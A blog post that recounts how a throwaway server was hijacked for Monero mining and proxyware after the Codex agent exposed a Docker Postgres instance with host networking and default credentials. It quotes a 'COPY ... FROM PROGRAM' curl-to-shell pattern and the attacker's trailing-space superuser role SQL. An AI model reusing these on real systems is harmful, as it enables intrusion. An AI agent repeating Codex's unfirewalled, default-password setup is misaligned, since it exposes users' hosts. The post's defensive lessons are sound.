I let Codex set up a throwaway server. Within 48 hours it was mining Monero.

TLDR

I stood up a disposable server for an experiment, gave Codex SSH, and mostly ignored it. At some point Codex started Postgres in Docker with --network host and the very strong admin credentials of postgres/postgres. The host had no firewall. Within about 90 minutes scanners had found port 5432, and a few hours later someone had tried the incredibly difficult postgres/postgres combo, got the database superuser, and almost certainly turned that into shell with COPY ... FROM PROGRAM.
They set up a Monero miner, four proxy clients, a Tor hidden service, and a backdoor role called "postgres " with a trailing space. I found no evidence they escaped the container or got persistence on the host. Claude noticed the CPU spike about a day later.
The lesson is not “don’t let agents touch servers.” It’s that there is no such thing as a throwaway server, and that matters even more when agents are making infrastructure decisions for you. Default-deny first, then let the agent do its thing inside that boundary.

That’s the short version.
Keep reading for the full story, or skip to the end for the conclusion.

We all do it. We pop up a server to check something and don’t set up the controls we should. I do it, you do it, and AI agents do it.

It’s fine and dandy until an agent does something it shouldn’t and turns that box into a money-making machine for someone else.

This is how a throwaway server of mine got taken over because Codex was trying to be efficient.

I don’t blame Codex or AI. This was my fault. I gave Codex SSH, I let it run commands, and I didn’t set up the necessary controls because I had already decided this server did not matter. I was being lazy.

Luckily it was a throwaway with no real data. The same mistake on something real would have been worse.

What I was trying to do

I have been playing a lot with microVMs and automating builds using AI for a pet project, droplive.io, and WorldFixture.com, which emulates vendor APIs around the same synthetic 99-person company, with consistent people, messages, projects, payments, and activity across services so demos actually feel alive. I was running an optimization experiment on how well LLMs can automatically set up an environment for almost any open-source project inside a microVM - the idea was you could paste a GitHub repository, and the system builds whatever it needs to run it no matter how complicated it is.

I used a new server because I did not want the experiment touching the machines that already had droplive.io code on them. It was disposable, meant to be thrown away once the test finished a couple of days later. It was also on a hosting provider I had never used before (they offer cheap bare metal by the hour). On their bare metal there is no provider-level firewall at all, so the host firewall was the only control. On Hetzner I normally enable their provider firewall, even if I do not set up ufw. Here, skipping ufw meant skipping everything.

And for those of you asking why I let Codex SSH into a server at all: more on that at the end, but let's just say - welcome to now.

The Fun Begins

At some point, I switched to Claude. Claude, like Codex, connected to the server over SSH, and then I saw the following message:

This machine was meant to be idle at this time, so this was pretty good evidence that something unusual was happening.

Had I not understood what was going on, Claude yelling at me a second later that the server was compromised most certainly would have helped (good claude!)

Did I mention this was first thing in the morning, while I was watching my 4 kids, including a toddler, while they were having breakfast?

At that point, I threw the kids (metaphorically, obviously) at my wife, said "take 'em," and started investigating with the help of both Claude and Codex.

So let's work backwards.

What was actually running

The first question was, what the heck is happening?

Very quickly it became clear that the malicious activity was isolated to a Postgres Docker container. What was running inside it covered the three things an attacker wants from a box like this: CPU, bandwidth and a clean public IP. They also want a way back in if I kick them out, and ideally to avoid getting caught, which they almost did.

• CPU. The miner, chmodash, was at around 353%. Its memory use and thread pattern were strongly consistent with RandomX, which pointed to Monero.
• Bandwidth and IP. Four clients that resell your connection: RePocket, Traffmonetizer, Bitping, and one whose endpoints belonged to IPRoyal. Most of these pay people a few dollars a month to route other people's traffic through their IP, which is exactly what services like web scrapers want, addresses that abuse-detection systems trust.
• Another way back in. A Tor hidden service, up and connected. Likely a fallback: it keeps working if I kill the backdoor role or block every inbound port, because a hidden service doesn’t need one. At the network layer, only strict outbound filtering could have stopped it, and I had none.
• Staying hidden. The controller disguised itself in the process list as a Postgres backend. Its command line named my actual development database, a loopback address, a port, and a state of idle. At a glance, it looked real.

The paths and the payload combination are similar to a Linux campaign Aqua Nautilus documented in 2024.

Two of the proxy clients also exposed account details used by the operator in their process arguments and environment variables. From /proc, I recovered two email addresses, an API key, a plaintext account password, and a device identifier tied to whoever was collecting the payouts. I reported the accounts to the vendors with enough detail for them to act on it. Some replied, some did not.

I found no evidence that the attacker escaped the container or gained persistence on the host. Inside the container there were two independent footholds: a backdoor database role and the Tor hidden service. There was also a spare copy of the controller binary parked under a path with “cron” in the name, and a proxy client that respawned itself every few minutes.

That containment was down to Docker and image defaults I had not touched: the container was unprivileged, there was no Docker socket, there were no host filesystem mounts, and the official image runs Postgres as its own unprivileged user, so the attacker’s shell was not root even inside the container. But “I found no evidence” is not the same as “it was impossible,” and a container is not a hard security boundary the way a VM is.

And containment only held on the filesystem side. On the network side it did not: with --network host the container shared the host’s loopback, and MinIO’s API, the DropLive control plane, and containerd were all bound to 127.0.0.1 and reachable from inside that container for the entire compromise. Nothing I found touched them. That is luck about what happened to be listening, not a boundary. The container was filesystem-isolated and network-transparent.

As far as I could tell, SSH was not involved. Logins were key-only with password authentication disabled. That configuration was correct and completely irrelevant, because the attack never went near port 22.

At that point, it was time to understand how the container had become exposed in the first place.

Why the container was exposed

Codex needed a local Postgres instance and ran it through Docker. Codex called docker run with --network host set. It also did what everyone does for a local dev database and used the very secure username and password - postgres/postgres.

I did not notice Codex do this.

The Postgres image had PostgreSQL listening on all interfaces:

LOG:  listening on IPv4 address "0.0.0.0", port 5432
LOG:  listening on IPv6 address "::", port 5432

Nothing filtered it. ufw was inactive, the iptables INPUT policy was ACCEPT, and the provider offers no firewall for bare metal. The host had a public IP, so port 5432 was reachable from anywhere, and postgres is one of the first passwords an automated scanner is likely to try.

This is also easy to miss - docker ps showed a blank PORTS column, and when I ran docker inspect during the investigation, this is what came back:

NetworkMode = host
Ports       = {}

Ports: {} reads as "nothing is published".

But it was empty because Docker was not doing any port publishing under host networking, not because nothing was exposed. In that field, a container with no published ports and a container sharing every host interface look exactly the same. docker ps is not an exposure check.

I did write a post in March about locking down my Coolify server, and part of it covered how Docker can bypass UFW rules for published ports. This was a different mechanism with the same basic problem: Docker networking did not behave the way the obvious reading of the configuration suggested. I have since taken that setup further: everything, web traffic included, now comes in through a Cloudflare Tunnel, and the server has no inbound ports open to the internet at all. More on that in a future post.

The rough timeline

• Late night (Day 1): Codex starts Postgres with host networking. Port 5432 is public.
• ~90 minutes later: first contact - three "invalid length of startup packet" lines, then an "unsupported frontend protocol 2.0" twelve seconds later. Scanners, speaking whatever the port might answer.
• ~40 minutes after that: first authentication attempt.
• ~2 hours later: password brute-force against the postgres role begins.
• Within the next ~3 hours: a successful login and the backdoor role.
• By morning of day 2: two proxy clients start. They use almost no CPU and run all day unnoticed.
• The following night: the controller lands. A third proxy client follows later that evening.
• A few hours later: the miner and the Tor hidden service start.
• ~40 minutes later: I connect to check the experiment. Claude notices chmodash at 353%.

The first night was cheap, automated monetization: proxyware. The controller, miner and hidden service landed a full day later, and I found the miner forty-one minutes after it started. An hour earlier I would have seen an apparently idle box.

How database access became code execution

Postgres has a documented feature that allows a superuser, or any role granted pg_execute_server_program, to run operating-system commands:

COPY t FROM PROGRAM 'curl ... | sh';

COPY ... FROM PROGRAM runs a command as the operating-system account that owns the Postgres server process. The account the attacker obtained was the database superuser, so database access was effectively shell access inside the container.  I can’t prove this is the exact statement they ran - see the logging section below for why - but every payload was a direct child of the real Postgres backend, running as the Postgres user, which is exactly what this feature produces.

Worth remembering if you treat database credentials as less severe than SSH credentials: an internet-reachable database superuser is, for practical purposes, a shell reachable from the internet.

Working out when they got in

This took more effort than it should have because of how logging was configured (or not configured!).

log_connections was off, so successful logins were not recorded. log_statement was at its default of none, so none of the attacker's SQL was recorded either. The container log contained 60 failed password attempts and zero successful ones, because success was never written down. For what it's worth, log_statement = ddl alone would have captured the role creation below. It's a free setting.

What the attacker did leave behind was a role:

CREATE ROLE "postgres ";
ALTER ROLE "postgres " WITH SUPERUSER INHERIT CREATEROLE CREATEDB LOGIN REPLICATION BYPASSRLS;

That role name is postgres with a trailing space which is almost indistinguishable from the real postgres superuser. Rotating the password on the legitimate postgres account would not have removed it.

Postgres does not store role-creation timestamps, and I stopped trusting filesystem timestamps after watching one of the implant's marker files update its own mtime in front of me.

But this was a fresh database cluster, and object identifiers gave me an order.

The backdoor role had OID 20766. The lowest OID in my application schema was 27828. So the role was created after the database was initialized and before my schema went in. Not a timestamp, but a window, and a narrow one.

Why the compromise became visible

None of this was caught by monitoring, because there was none.

Three of the four proxy clients had been running for hours by the time I woke up and used almost no CPU. The compromise became visible only because the attacker eventually installed something greedy enough to move the load average.

If they had stopped with the proxyware, it might still have been running when I destroyed the server the next day.

There is no such thing as a throwaway server

The moment a server has a public IP, you need to treat it as such. The bots scanning the internet do not know that I plan to delete it tomorrow, and they don't really care. Temporary infrastructure needs the same basic controls as anything else.

Firewalls, firewalls, firewalls. Where the provider offers a firewall, it should be default-deny from the moment the server exists. Where it doesn’t, the host firewall goes on before anything else does. SSH should have accepted connections only from my IP, and Postgres should never have been reachable from the internet. Any other port gets opened to my IP, for only as long as I need it.

A password that was not postgres would have helped, but that is not the real answer. A database that does not need to be public should not rely on a password to protect it from the entire internet.

Of course I should also have been more careful with what Codex was doing. But I do not think the solution is to rely on me reading every command an AI agent runs. Humans miss things, agents make choices we would not have made, and both of those things will happen again. The server should have been configured so that even if Codex used --network host, it could not accidentally expose Postgres to the world.

What about AI?

I am not going to stop letting AI agents SSH into servers. I may change how I do it, what I allow and how I monitor, but not letting it do it? That is staying in the past. We already let AI write huge parts of our code and run commands on our laptops, something many of us would have scoffed at a few years ago. Infrastructure, disposable or not, is next, and it is already happening across the industry.

Claude also discovered the compromise, and then Claude and Codex together investigated it far faster than I could have alone.

But the new reality, with agents in our browsers, on our laptops, and on our servers, is one where we have given up a large part of our control over risk. Give an agent a goal and it will do what it needs to complete the task, even if that means turning off the firewall you set up, or opening the AWS console in the browser you're still logged into and changing security groups. So get religious about guardrails, layered controls, monitoring and alerting, knowing even that won't be enough on its own. You can't remove the risk, but you can shrink the exposure.

And most importantly: there is no such thing as a throwaway server. There never was, but now more than ever.

Next time, the firewall goes on first. Everything is blocked except my IP, and every public port has to be opened deliberately.

Some people would be upset this happened, but honestly, for me it was a great example of how AI agents are going to force us to rethink a lot of our habits, good and bad.